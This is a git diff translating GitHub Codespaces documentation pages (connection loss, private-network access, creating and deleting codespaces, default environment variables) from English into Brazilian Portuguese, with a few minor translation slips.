+Para obter mais informações sobre exclusão de um codespace, consulte "[Excluindo um codespace](/codespaces/developing-in-codespaces/deleting-a-codespace)".
 
-## Losing the connection while using Codespaces
+## Perdendo a conexão durante o uso de codespaces
 
-{% data variables.product.prodname_codespaces %} is a cloud-based development environment and requires an internet connection. If you lose connection to the internet while working in a codespace, you will not be able to access your codespace. However, any uncommitted changes will be saved. When you have access to an internet connection again, you can connect to your codespace in the exact same state that it was left in. If you have an unstable internet connection, you should commit and push your changes often.
+O {% data variables.product.prodname_codespaces %} é um ambiente de desenvolvimento baseado na nuvem e requer uma conexão à internet. Se você perder a conexão à internet enquanto trabalha em um codespace, você não poderá acessar seu codespace. No entanto, todas as alterações não comprometidas serão salvas. Quando você tiver acesso a uma conexão à internet novamente, você poderá conectar-se ao seu codespace no mesmo estado em que ele foi deixado. Se você tiver uma conexão instável, você deverá se fazer envio por commit e push das suas alterações com frequência.
 
-If you know that you will often be working offline, you can use your `devcontainer.json` file with the ["{% data variables.product.prodname_vscode %} Remote - Containers" extension](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers) to build and attach to a local development container for your repository. For more information, see [Developing inside a container](https://code.visualstudio.com/docs/remote/containers) in the {% data variables.product.prodname_vscode %} documentation.
+Se você sabe que muitas vezes você irá trabalhar off-line, você pode usar o seu arquivo `devcontainer.json` com a extensão ["{% data variables.product.prodname_vscode %} Remote - Containers" extensão](https://marketplace.visualstudio.com/items?itemName=ms-vscode-remote.remote-containers) para criar e anexar a um contêiner de desenvolvimento local para o seu repositório. Para obter mais informações, consulte [Desenvolvendo dentro de um contêiner](https://code.visualstudio.com/docs/remote/containers) na documentação de {% data variables.product.prodname_vscode %}.
diff --git a/translations/pt-BR/content/codespaces/developing-in-codespaces/connecting-to-a-private-network.md b/translations/pt-BR/content/codespaces/developing-in-codespaces/connecting-to-a-private-network.md
index 8c37404960..589bb7dcb9 100644
--- a/translations/pt-BR/content/codespaces/developing-in-codespaces/connecting-to-a-private-network.md
+++ b/translations/pt-BR/content/codespaces/developing-in-codespaces/connecting-to-a-private-network.md
@@ -1,6 +1,6 @@
 ---
-title: Connecting to a private network
-intro: 'You can connect {% data variables.product.prodname_codespaces %} to resources on a private network, including package registries, license servers, and on-premises databases.'
+title: Conectando-se a uma rede privada
+intro: 'Você pode conectar {% data variables.product.prodname_codespaces %} a recursos de uma rede privada, incluindo registros de pacotes, servidores de licenças e bancos de dados no local.'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -12,34 +12,34 @@ topics:
   - Developer
 ---
 
-## About codespace networking
+## Sobre a rede do codespace
 
-By default, your codespaces have access to all resources on the public internet, including package managers, license servers, databases, and cloud platform APIs, but they have no access to resources on private networks.
+Por padrão, os seus códigos têm acesso a todos os recursos na internet pública, incluindo os gestores de pacotes, servidores de licença, bancos de dados e APIs da plataforma em nuvem, mas eles não têm acesso a recursos em redes privadas.
 
-## Connecting to resources on a private network
+## Conectando-se a recursos em uma rede privada
 
-The currently supported method of accessing resources on a private network is to use a VPN. It is currently not recommended to allowlist codespaces IPs as this would allow all codespaces (both yours and those of other customers) access to the network protected resources.
+O método atualmente compatível para acessar os recursos em uma rede privada é usar uma VPN. Atualmente, não se recomenda permitir o acesso aos IPs de códigos, pois isso permitiria que todos os códigos (seus e dos de outros clientes) acessassem os recursos protegidos pela rede.
 
-### Using a VPN to access resources behind a private network
+### Usar uma VPN para acessar recursos por trás de uma rede privada
 
-The easiest way to access resources behind a private network is to VPN into that network from within your codespace.
+A maneira mais fácil de acessar os recursos por trás de uma rede privada é criar uma VPN nessa rede de dentro do seu codespace.
 
-We recommend VPN tools like [OpenVPN](https://openvpn.net/) to access resources on a private network. For more information, see "[Using the OpenVPN client from GitHub Codespaces](https://github.com/codespaces-contrib/codespaces-openvpn)."
+Recomendamos ferramentas de VPN como, por exemplo, [OpenVPN](https://openvpn.net/) para acessar recursos em uma rede privada. Para obter mais informações, consulte "[Usando o cliente da OpenVPN em codespaces do GitHub](https://github.com/codespaces-contrib/codespaces-openvpn)".
 
-There are also a number of third party solutions that, while not explicitly endorsed by {% data variables.product.prodname_dotcom %}, have provided examples of how to integrate with {% data variables.product.prodname_codespaces %}.
+Há também um número de soluções de terceiros que, embora não explicitamente aprovadas por {% data variables.product.prodname_dotcom %}, forneceu exemplos de como fazer a integração com {% data variables.product.prodname_codespaces %}.
 
-These third party solutions include:
+Essas soluções de terceiros incluem:
 
 - [Tailscale](https://tailscale.com/kb/1160/github-codespaces/)
 
-### Allowlisting private resources for codespaces
+### Permitir a listagem de recursos privados para codespaces
 
-While {% data variables.product.prodname_dotcom %} publishes IP ranges for several products on its Meta API, codespaces IPs are dynamically assigned, meaning your codespace is not guaranteed to have the same IP address day to day. We highly discourage users from allowlisting an entire IP range, as this would give overly broad access to all codespaces (including users not affiliated with your codespaces).
+Embora {% data variables.product.prodname_dotcom %} publica intervalos de IP para vários produtos na sua Meta API, os IPs dos codespaces são atribuídos dinamicamente, o que significa que o seu código não tem a garantia de ter o mesmo endereço IP dia após dia. É altamente desaconselhável que os usuários de permitam toda uma faixa de IP, pois isso daria acesso excessivamente amplo a todos os codespaces (incluindo usuários não associados aos seus codespaces).
 
-For more information about the Meta API, see "[Meta](/rest/reference/meta)."
+Para obter mais informações sobre a Meta API, consulte "[Meta](/rest/reference/meta)".
 
-## Restricting access to the public internet
+## Restringindo o acesso à internet pública
 
-At present, there is no way to restrict codespaces from accessing the public internet, or to restrict appropriately authenticated users from accessing a forwarded port.
+Atualmente, não há forma de restringir os codespaces de acessar a Internet pública ou de restringir o acesso de usuários devidamente autenticados a uma porta encaminhada.
 
-For more information on how to secure your codespaces, see "[Security in Codespaces](/codespaces/codespaces-reference/security-in-codespaces)."
+Para obter mais informações sobre como proteger seus códigos, consulte "[Segurança em codespaces](/codespaces/codespaces-reference/security-in-codespaces)".
diff --git a/translations/pt-BR/content/codespaces/developing-in-codespaces/creating-a-codespace.md b/translations/pt-BR/content/codespaces/developing-in-codespaces/creating-a-codespace.md
index ec200503de..14981a0d16 100644
--- a/translations/pt-BR/content/codespaces/developing-in-codespaces/creating-a-codespace.md
+++ b/translations/pt-BR/content/codespaces/developing-in-codespaces/creating-a-codespace.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a codespace
-intro: You can create a codespace for a branch in a repository to develop online.
+title: Criar um codespace
+intro: Você pode criar um codespace para uma branch em um repositório para fazer o desenvolvimento on-line.
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: '{% data reusables.codespaces.availability %}'
 redirect_from:
@@ -14,105 +14,106 @@ topics:
   - Codespaces
   - Fundamentals
   - Developer
-shortTitle: Create a codespace
+shortTitle: Criar um codespace
 ---
 
-## About codespace creation
+## Sobre a criação do codespace
 
-You can create a codespace on {% data variables.product.prodname_dotcom_the_website %}, in {% data variables.product.prodname_vscode %}, or by using {% data variables.product.prodname_cli %}. {% data reusables.codespaces.codespaces-are-personal %}
+Você pode criar um codespace em {% data variables.product.prodname_dotcom_the_website %}, em {% data variables.product.prodname_vscode %}, ou usando {% data variables.product.prodname_cli %}. {% data reusables.codespaces.codespaces-are-personal %}
 
-Codespaces are associated with a specific branch of a repository and the repository cannot be empty. {% data reusables.codespaces.concurrent-codespace-limit %} For more information, see "[Deleting a codespace](/github/developing-online-with-codespaces/deleting-a-codespace)."
+Os codespaces são associados a um branch específico de um repositório e o repositório não pode estar vazio. {% data reusables.codespaces.concurrent-codespace-limit %} Para obter mais informações, consulte "[Excluir um codespace](/github/developing-online-with-codespaces/deleting-a-codespace)".
 
 
-When you create a codespace, a number of steps happen to create and connect you to your development environment:
+Ao criar um codespace, várias etapas acontecem para criar e conectar você ao seu ambiente de desenvolvimento:
 
-- Step 1: VM and storage are assigned to your codespace.
-- Step 2: Container is created and your repository is cloned.
-- Step 3: You can connect to the codespace.
-- Step 4: Codespace continues with post-creation setup.
+- Etapa 1: A VM e o armazenamento são atribuídos ao seu codespace.
+- Etapa 2: O contêiner é criado e seu repositório é clonado.
+- Passo 3: Você pode conectar-se ao codespace.
+- Etapa 4: O codespace continua com a configuração pós-criação.
 
-For more information on what happens when you create a codespace, see "[Deep Dive](/codespaces/getting-started/deep-dive)."
+Para obter mais informações sobre o que acontece quando você cria um codespace, consulte "[Aprofundamento](/codespaces/getting-started/deep-dive)".
 
-For more information on the lifecycle of a codespace, see "[Codespaces lifecycle](/codespaces/developing-in-codespaces/codespaces-lifecycle)."
+Para obter mais informações sobre o ciclo de vida de um codespace, consulte "[Ciclo de vida dos codespaces](/codespaces/developing-in-codespaces/codespaces-lifecycle)".
 
-If you want to use Git hooks for your codespace, then you should set up hooks using the [`devcontainer.json` lifecycle scripts](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts), such as `postCreateCommand`, during step 4. Since your codespace container is created after the repository is cloned, any [git template directory](https://git-scm.com/docs/git-init#_template_directory) configured in the container image will not apply to your codespace. Hooks must instead be installed after the codespace is created. For more information on using `postCreateCommand`, see the [`devcontainer.json` reference](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties) in the Visual Studio Code documentation.
+Se você quiser usar hooks do Git para o seu código, você deverá configurar hooks usando os scritps do ciclo de vida do de [`devcontainer.json` lifecycle scripts](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_lifecycle-scripts), como `postCreateCommand`, durante a etapa 4. Uma vez que o seu contêiner de codespace é criado depois que o repositório é clonado, qualquer [diretório de template do git](https://git-scm.com/docs/git-init#_template_directory) configurado na imagem do contêiner não será aplicado ao seu codespace. Os Hooks devem ser instalados depois que o codespace for criado. Para obter mais informações sobre como usar `postCreateCommand`, consulte a referência [`devcontainer.json` ](https://code.visualstudio.com/docs/remote/devcontainerjson-reference#_devcontainerjson-properties) na documentação do Visual Studio Code.
 
 {% data reusables.codespaces.use-visual-studio-features %}
 
 {% data reusables.codespaces.you-can-see-all-your-codespaces %}
 
-## Access to {% data variables.product.prodname_codespaces %}
+## Acesso a {% data variables.product.prodname_codespaces %}
 
 {% data reusables.codespaces.availability %}
 
-When you have access to {% data variables.product.prodname_codespaces %}, you'll see a "Codespaces" tab within the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu when you view a repository.
+Quando você tem acesso a {% data variables.product.prodname_codespaces %}, você verá uma aba "Codespace" dentro do menu suspenso ** Código de{% octicon "code" aria-label="The code icon" %} ** ao visualizar um repositório.
 
-You'll have access to codespaces under the following conditions:
+Você terá acesso a codespaces nas seguintes condições:
 
-* You are a member of an organization that has enabled {% data variables.product.prodname_codespaces %} and set a spending limit.
-* An organization owner has granted you access to {% data variables.product.prodname_codespaces %}.
-* The repository is owned by the organization that has enabled {% data variables.product.prodname_codespaces %}.
+* Você é um integrante de uma organização que habilitou {% data variables.product.prodname_codespaces %} e definiu um limite de gastos.
+* Um proprietário da organização concedeu a você acesso a {% data variables.product.prodname_codespaces %}.
+* O repositório pertence à organização que habilitou {% data variables.product.prodname_codespaces %}.
 
 {% note %}
 
-**Note:** Individuals who have already joined the beta with their personal {% data variables.product.prodname_dotcom %} account will not lose access to {% data variables.product.prodname_codespaces %}, however {% data variables.product.prodname_codespaces %} for individuals will continue to remain in beta.
+**Observação:** As pessoas que já aderiram ao beta com sua conta pessoal do {% data variables.product.prodname_dotcom %} não perderão acesso a {% data variables.product.prodname_codespaces %}. No entanto, {% data variables.product.prodname_codespaces %} para as pessoas, continuará sendo beta.
 
 {% endnote %}
 
-Organization owners can allow all members of the organization to create codespaces, limit codespace creation to selected organization members, or disable codespace creation. For more information about managing access to codespaces within your organization, see "[Enable Codespaces for users in your organization](/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization#enable-codespaces-for-users-in-your-organization)."
+Os proprietários da organização podem permitir que todos os integrantes da organização criem codespaces, limitem a criação de códigos aos integrantes selecionados da organização ou desabilitem a criação de codespace. Para obter mais informações sobre como gerenciar o acesso aos codespaces dentro da sua organização, consulte "[Habilitar codespace para usuários da sua organização](/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization#enable-codespaces-for-users-in-your-organization)".
 
-Before {% data variables.product.prodname_codespaces %} can be used in an organization, an owner or billing manager must have set a spending limit. For more information, see "[About spending limits for Codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces#about-spending-limits-for-codespaces)."
+Antes de {% data variables.product.prodname_codespaces %} pode ser usado em uma organização, um proprietário ou gerente de cobrança deverá ter um limite de gastos. Para obter mais informações, consulte "[Sobre limites de gastos para codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces#about-spending-limits-for-codespaces)".
 
-If you would like to create a codespace for a repository owned by your personal account or another user, and you have permission to create repositories in an organization that has enabled {% data variables.product.prodname_codespaces %}, you can fork user-owned repositories to that organization and then create a codespace for the fork. 
+Se você deseja criar um codespace para um repositório pertencente à sua conta pessoal ou outro usuário e você tem permissão para criar repositórios em uma organização que habilitou {% data variables.product.prodname_codespaces %}, você poderá criar uma bifurcação de repositórios pertencentes ao usuário na organização e, em seguida, criar um codespace para a bifurcação.
 
-## Creating a codespace
+## Criar um codespace
 
-{% include tool-switcher %}
-   
 {% webui %}
 
 {% data reusables.repositories.navigate-to-repo %}
-2. Under the repository name, use the "Branch" drop-down menu, and select the branch you want to create a codespace for.
+2. No nome do repositório, use o menu suspenso "Branch", e selecione o branch para o qual você deseja criar um codespace.
 
-   ![Branch drop-down menu](/assets/images/help/codespaces/branch-drop-down.png)
+   ![Menu suspenso do branch](/assets/images/help/codespaces/branch-drop-down.png)
 
-3. Under the repository name, use the **{% octicon "code" aria-label="The code icon" %} Code** drop-down menu, and in the **Codespaces** tab, click {% octicon "plus" aria-label="The plus icon" %} **New codespace**.
+3. No nome do repositório, use o menu suspenso **Código de {% octicon "code" aria-label="The code icon" %}** e na aba **Codespaces** de código, clique em {% octicon "plus" aria-label="The plus icon" %} **Novo codespace**.
 
-   ![New codespace button](/assets/images/help/codespaces/new-codespace-button.png)
+   ![Botão de codespace novo](/assets/images/help/codespaces/new-codespace-button.png)
 
-   If you are a member of an organization and are creating a codespace on a repository owned by that organization, you can select the option of a different machine type. From the dialog, choose a machine type and then click **Create codespace**.
-     ![Machine type choice](/assets/images/help/codespaces/choose-custom-machine-type.png)
+   Se você é integrante de uma organização e está criando um codespace em um repositório pertencente a essa organização, você poderá selecionar a opção de um tipo de máquina diferente. Na caixa de diálogo, escolha um tipo de máquina e, em seguida, clique em **Criar codespace**.
+
+   ![Escolha do tipo da máquina](/assets/images/help/codespaces/choose-custom-machine-type.png)
+
+   {% data reusables.codespaces.codespaces-machine-type-availability %}
 
 {% endwebui %}
-   
+
 {% vscode %}
 
 {% data reusables.codespaces.creating-a-codespace-in-vscode %}
 
 {% endvscode %}
-   
+
 {% cli %}
 
 {% data reusables.cli.cli-learn-more %}
 
-To create a new codespace, use the `gh codespace create` subcommand. 
+Para criar um novo codespace, use o subcomando `gh create`.
 
 ```shell
 gh codespace create 
 ```
 
-You are prompted to choose a repository, a branch, and a machine type (if more than one is available).
+Solicita-se que você escolha um repositório, um branch e um tipo de máquina (se mais de um estiver disponível).
 
-Alternatively, you can use flags to specify some or all of the options:
+Como alternativa, você pode usar sinalizadores para especificar algumas ou todas as opções:
 
 ```shell
 gh codespace create -r <em>owner</em>/<em>repo</em> -b <em>branch</em> -m <em>machine-type</em> 
 ```
 
-Replace `owner/repo` with the repository identifier. Replace `branch` with the name of the branch, or the full SHA hash of the commit, that you want to be initially checked out in the codespace. If you use the `-r` flag without the `b` flag, the codespace is created from the default branch.
+Substitua `proprietário/repositório` pelo identificador do repositório. Substitua `branch` pelo nome do branch ou o hash SHA completo do commit, que você deseja fazer check-out inicialmente no codespace. Se você usar o sinalizador `-r` sem o sinalizador `b`, o codespace será criado a partir do branch padrão.
 
-Replace `machine-type` with a valid identifier for an available machine type. Identifiers are strings such as: `basicLinux32gb` and `standardLinux32gb`. The type of machines that are available depends on the repository, your user account, and your location. If you enter an invalid or unavailable machine type, the available types are shown in the error message. If you omit this flag and more than one machine type is available you will be prompted to choose one from a list.
+Substitua `machine-type` por um identificador válido para um tipo de máquina disponível. Os identificadores são strings como: `basicLinux32gb` e `standardLinux32gb`. O tipo de máquina que está disponível depende do repositório, da sua conta de usuário e da sua localização. Se você digitar um tipo de máquina inválido ou indisponível, os tipos disponíveis serão mostrados na mensagem de erro. Se você omitir este sinalizador e mais de um tipo de máquina estiver disponível, será solicitado que você escolha uma na lista.
 
-For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_create).
+Para obter mais informações sobre esse comando, consulte [o manual de{% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_codespace_create).
 
 {% endcli %}
diff --git a/translations/pt-BR/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md b/translations/pt-BR/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md
index 1eb32e030f..a64755ead9 100644
--- a/translations/pt-BR/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md
+++ b/translations/pt-BR/content/codespaces/developing-in-codespaces/default-environment-variables-for-your-codespace.md
@@ -1,9 +1,9 @@
 ---
-title: Default environment variables for your codespace
-shortTitle: Default environment variables
+title: Variáveis de ambiente padrão para seu codespace
+shortTitle: Variáveis padrão de ambiente
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: '{% data reusables.codespaces.availability %}'
-intro: '{% data variables.product.prodname_dotcom %} sets default environment variables for each codespace.'
+intro: 'O {% data variables.product.prodname_dotcom %} define variáveis de ambiente padrão para cada codespace.'
 versions:
   fpt: '*'
   ghec: '*'
@@ -14,27 +14,27 @@ topics:
   - Developer
 ---
 
-## About default environment variables
+## Sobre as variáveis de ambiente padrão
 
-{% data variables.product.prodname_dotcom %} sets default environment variables for every codespace. Commands run in codespaces can create, read, and modify environment variables.
+O {% data variables.product.prodname_dotcom %} define variáveis de ambiente padrão para cada codespace. Os comandos executados nos codespaces podem criar, ler e modificar as variáveis de ambiente.
 
 {% note %}
 
-**Note**: Environment variables are case-sensitive.
+**Observação**: As variáveis de ambiente diferenciam maiúsculas de minúsculas.
 
 {% endnote %}
 
-## List of default environment variables
+## Lista de variáveis de ambiente padrão
 
-| Environment variable | Description |
-| ---------------------|------------ |
-| `CODESPACE_NAME` | The name of the codespace For example, `monalisa-github-hello-world-2f2fsdf2e` |
-| `CODESPACES` | Always `true` while in a codespace |
-| `GIT_COMMITTER_EMAIL` | The email for the "author" field of future `git` commits. |
-| `GIT_COMMITTER_NAME` | The name for the "committer" field of future `git` commits. |
-| `GITHUB_API_URL` | Returns the API URL. For example, `{% data variables.product.api_url_code %}`. |
-| `GITHUB_GRAPHQL_URL` | Returns the GraphQL API URL. For example, `{% data variables.product.graphql_url_code %}`. |
-| `GITHUB_REPOSITORY` | The owner and repository name. For example, `octocat/Hello-World`. |
-| `GITHUB_SERVER_URL`| Returns the URL of the {% data variables.product.product_name %} server. For example, `https://{% data variables.product.product_url %}`. |
-| `GITHUB_TOKEN` | A signed auth token representing the user in the codespace. You can use this to make authenticated calls to the GitHub API. For more information, see "[Authentication](/codespaces/codespaces-reference/security-in-codespaces#authentication)."  |
-| `GITHUB_USER` | The name of the user that initiated the codespace. For example, `octocat`. |
\ No newline at end of file
+| Variável de ambiente  | Descrição                                                                                                                                                                                                                                                                           |
+| --------------------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `CODESPACE_NAME`      | O nome do código, por exemplo, `monalisa-github-hello-world-2f2fsdf2e`                                                                                                                                                                                                              |
+| `CODESPACES`          | Sempre `verdadeiro` quando no ambiente de um codespace                                                                                                                                                                                                                              |
+| `GIT_COMMITTER_EMAIL` | O e-mail para o campo "autor" dos commits do `git` futuros.                                                                                                                                                                                                                         |
+| `GIT_COMMITTER_NAME`  | O nome para o campo "committer" dos commits do `git` futuros.                                                                                                                                                                                                                       |
+| `GITHUB_API_URL`      | Retorna a URL da API. Por exemplo, `{% data variables.product.api_url_code %}`.                                                                                                                                                                                                     |
+| `GITHUB_GRAPHQL_URL`  | Retorna a URL API do GraphQL. Por exemplo, `{% data variables.product.graphql_url_code %}`.                                                                                                                                                                                         |
+| `GITHUB_REPOSITORY`   | Nome do repositório e o proprietário. Por exemplo, `octocat/Hello-World`.                                                                                                                                                                                                           |
+| `GITHUB_SERVER_URL`   | Retorna a URL do servidor {% data variables.product.product_name %}. Por exemplo, `https://{% data variables.product.product_url %}`.                                                                                                                                               |
+| `GITHUB_TOKEN`        | Um token de autenticação assinado que representa o usuário no codespace. Você pode usar isso para fazer chamadas autenticadas para a API do GitHub. Para obter mais informações, consulte "[Autenticação](/codespaces/codespaces-reference/security-in-codespaces#authentication)". |
+| `GITHUB_USER`         | O nome do usuário que iniciou o codespace. Por exemplo, `octocat`.                                                                                                                                                                                                                  |
diff --git a/translations/pt-BR/content/codespaces/developing-in-codespaces/deleting-a-codespace.md b/translations/pt-BR/content/codespaces/developing-in-codespaces/deleting-a-codespace.md
index 1ceef28360..48c88bef4a 100644
--- a/translations/pt-BR/content/codespaces/developing-in-codespaces/deleting-a-codespace.md
+++ b/translations/pt-BR/content/codespaces/developing-in-codespaces/deleting-a-codespace.md
@@ -1,6 +1,6 @@
 ---
-title: Deleting a codespace
-intro: You can delete a codespace you no longer need.
+title: Excluir um codespace
+intro: Você pode excluir um codespace de que você não precisa mais.
 product: '{% data reusables.gated-features.codespaces %}'
 redirect_from:
   - /github/developing-online-with-github-codespaces/deleting-a-codespace
@@ -13,53 +13,52 @@ topics:
   - Codespaces
   - Fundamentals
   - Developer
-shortTitle: Delete a codespace
+shortTitle: Excluir um codespace
 ---
 
- 
+
 
 {% data reusables.codespaces.concurrent-codespace-limit %}
 
 {% note %}
 
-**Note:** Only the person who created a codespace can delete it. There is currently no way for organization owners to delete codespaces created within their organization.
+**Observação:** Somente a pessoa que criou um codespace pode excluí-lo. Atualmente, não há forma de os proprietários da organização excluírem os codespaces criados dentro de sua organização.
 
 {% endnote %}
 
-{% include tool-switcher %}
-   
+
 {% webui %}
 
-1. Navigate to the "Your Codespaces" page at [github.com/codespaces](https://github.com/codespaces).
+1. Acesse a página "Seus codespaces" em [github.com/codespaces](https://github.com/codespaces).
 
-2. To the right of the codespace you want to delete, click {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, then click **{% octicon "trash" aria-label="The trash icon" %} Delete**
+2. À direita do código que você deseja excluir, clique em {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %}, depois em **{% octicon "trash" aria-label="The trash icon" %} Apagar**
 
-   ![Delete button](/assets/images/help/codespaces/delete-codespace.png)
+   ![Botão excluir](/assets/images/help/codespaces/delete-codespace.png)
 
 {% endwebui %}
-   
+
 {% vscode %}
 
 {% data reusables.codespaces.deleting-a-codespace-in-vscode %}
 
 {% endvscode %}
-   
+
 
 {% cli %}
 
 {% data reusables.cli.cli-learn-more %}
 
-To delete a codespace use the `gh codespace delete` subcommand and then choose a codespace from the list that's displayed.
+Para excluir um codespace, use o comando `gh codespace delete` e, em seguida, escolha um codespace na lista que for exibida.
 
 ```shell
 gh codespace delete
 ```
 
-If you have unsaved changes, you'll be prompted to confirm deletion. You can use the `-f` flag to force deletion, avoiding this prompt.
+Se você tiver alterações não salvas, será solicitado que você confirme a exclusão. Você pode usar o sinalizador `-f` para forçar a exclusão, evitando a instrução.
 
-For more information about this command, see [the {% data variables.product.prodname_cli %} manual](https://cli.github.com/manual/gh_codespace_delete).
+Para obter mais informações sobre esse comando, consulte [o manual de{% data variables.product.prodname_cli %}](https://cli.github.com/manual/gh_codespace_delete).
 
 {% endcli %}
 
-## Further reading
-- [Codespaces lifecycle](/codespaces/developing-in-codespaces/codespaces-lifecycle)
+## Leia mais
+- [Ciclo de vida dos codespaces](/codespaces/developing-in-codespaces/codespaces-lifecycle)
diff --git a/translations/pt-BR/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md b/translations/pt-BR/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md
index a985c3a36c..fe80043687 100644
--- a/translations/pt-BR/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md
+++ b/translations/pt-BR/content/codespaces/developing-in-codespaces/developing-in-a-codespace.md
@@ -1,6 +1,6 @@
 ---
-title: Developing in a codespace
-intro: 'You can open a codespace on {% data variables.product.product_name %}, then develop using {% data variables.product.prodname_vscode %}''s features.'
+title: Desenvolver em um codespace
+intro: 'Você pode abrir um codespace em {% data variables.product.product_name %} e, em seguida, desenvolver usando os recursos do {% data variables.product.prodname_vscode %}.'
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: 'You can develop in codespaces you''ve created for repositories owned by organizations using {% data variables.product.prodname_team %} and {% data variables.product.prodname_ghe_cloud %}.'
 redirect_from:
@@ -14,52 +14,51 @@ topics:
   - Codespaces
   - Fundamentals
   - Developer
-shortTitle: Develop in a codespace
+shortTitle: Desenvolver em um codespace
 ---
 
  
 
-## About development with {% data variables.product.prodname_codespaces %}
+## Sobre o desenvolvimento com {% data variables.product.prodname_codespaces %}
 
-{% data variables.product.prodname_codespaces %} provides you with the full development experience of {% data variables.product.prodname_vscode %}. {% data reusables.codespaces.use-visual-studio-features %}
+{% data variables.product.prodname_codespaces %} fornece a você a experiência completa de desenvolvimento de {% data variables.product.prodname_vscode %}. {% data reusables.codespaces.use-visual-studio-features %}
 
 {% data reusables.codespaces.links-to-get-started %}
 
-![Codespace overview with annotations](/assets/images/help/codespaces/codespace-overview-annotated.png)
+![Visão geral do codespace com anotações](/assets/images/help/codespaces/codespace-overview-annotated.png)
 
-1. Side Bar - By default, this area shows your project files in the Explorer.
-2. Activity Bar - This displays the Views and provides you with a way to switch between them. You can reorder the Views by dragging and dropping them.
-3. Editor - This is where you edit your files. You can use the tab for each editor to position it exactly where you need it.
-4. Panels - This is where you can see output and debug information, as well as the default place for the integrated Terminal.
-5. Status Bar - This area provides you with useful information about your codespace and project. For example, the branch name, configured ports, and more.
+1. Barra lateral - Por padrão, esta área mostra os arquivos do seu projeto no Explorador.
+2. Barra de Atividades - Exibe a visualização e fornece uma maneira de alternar entre elas. Você pode reordenar as Visualizações arrastando e soltando-as.
+3. Editor - É aqui que você edita seus arquivos. Você pode usar a aba para cada editor para posicioná-lo exatamente onde você precisa.
+4. Painéis - É aqui que você pode visualizar as informações de saída e depuração, bem como o local padrão para o Terminal integrado.
+5. Barra de Status - Esta área fornece informações úteis sobre seu codespace e projeto. Por exemplo, o nome da agência, portas configuradas e muito mais.
 
-For more information on using {% data variables.product.prodname_vscode %}, see the [User Interface guide](https://code.visualstudio.com/docs/getstarted/userinterface) in the {% data variables.product.prodname_vscode %} documentation.
+Para obter mais informações sobre como usar {% data variables.product.prodname_vscode %}, consulte o [Guia da Interface do Usuário](https://code.visualstudio.com/docs/getstarted/userinterface) na documentação de {% data variables.product.prodname_vscode %}
 
 {% data reusables.codespaces.connect-to-codespace-from-vscode %}
 
-{% data reusables.codespaces.use-chrome %} For more information, see "[Troubleshooting Codespaces clients](/codespaces/troubleshooting/troubleshooting-codespaces-clients)."
+{% data reusables.codespaces.use-chrome %} Para obter mais informações, consulte "[Solução de problemas de codespaces](/codespaces/troubleshooting/troubleshooting-codespaces-clients)".
 
-### Personalizing your codespace
+### Personalizando seu codespace
 
-{% data reusables.codespaces.about-personalization %} For more information, see "[Personalizing {% data variables.product.prodname_codespaces %} for your account](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)."
+{% data reusables.codespaces.about-personalization %} Para obter mais informações, consulte "[Personalizar {% data variables.product.prodname_codespaces %} para sua conta](/codespaces/setting-up-your-codespace/personalizing-codespaces-for-your-account)".
 
-{% data reusables.codespaces.apply-devcontainer-changes %} For more information, see "[Configuring {% data variables.product.prodname_codespaces %} for your project](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#apply-changes-to-your-configuration)."
+{% data reusables.codespaces.apply-devcontainer-changes %} Para obter mais informações, consulte "[Configurar o {% data variables.product.prodname_codespaces %} para o seu projeto](/github/developing-online-with-codespaces/configuring-codespaces-for-your-project#apply-changes-to-your-configuration)".
 
-### Running your app from a codespace
-{% data reusables.codespaces.about-port-forwarding %} For more information, see "[Forwarding ports in your codespace](/github/developing-online-with-codespaces/forwarding-ports-in-your-codespace)."
+### Executando seu aplicativo a partir de um codespace
+{% data reusables.codespaces.about-port-forwarding %} Para obter mais informações, consulte "[Encaminhar portas no seu codespace](/github/developing-online-with-codespaces/forwarding-ports-in-your-codespace)".
 
-### Committing your changes
+### Fazendo commit das suas alterações
 
-{% data reusables.codespaces.committing-link-to-procedure %} 
+{% data reusables.codespaces.committing-link-to-procedure %}
 
-### Using the {% data variables.product.prodname_vscode_command_palette %}
+### Usando o {% data variables.product.prodname_vscode_command_palette %}
 
-The {% data variables.product.prodname_vscode_command_palette %} allows you to access and manage many features for {% data variables.product.prodname_codespaces %} and {% data variables.product.prodname_vscode %}. For more information, see "[Using the {% data variables.product.prodname_vscode_command_palette %} in {% data variables.product.prodname_codespaces %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces)."
+O {% data variables.product.prodname_vscode_command_palette %} permite que você acesse e gerencie muitas funcionalidades para {% data variables.product.prodname_codespaces %} e {% data variables.product.prodname_vscode %}. Para obter mais informações, consulte "[Usando o {% data variables.product.prodname_vscode_command_palette %} em {% data variables.product.prodname_codespaces %}](/codespaces/codespaces-reference/using-the-vs-code-command-palette-in-codespaces)".
 
-## Navigating to an existing codespace
+## Acessar um codespace existente
 
 1. {% data reusables.codespaces.you-can-see-all-your-codespaces %}
-2. Click the name of the codespace you want to develop in.
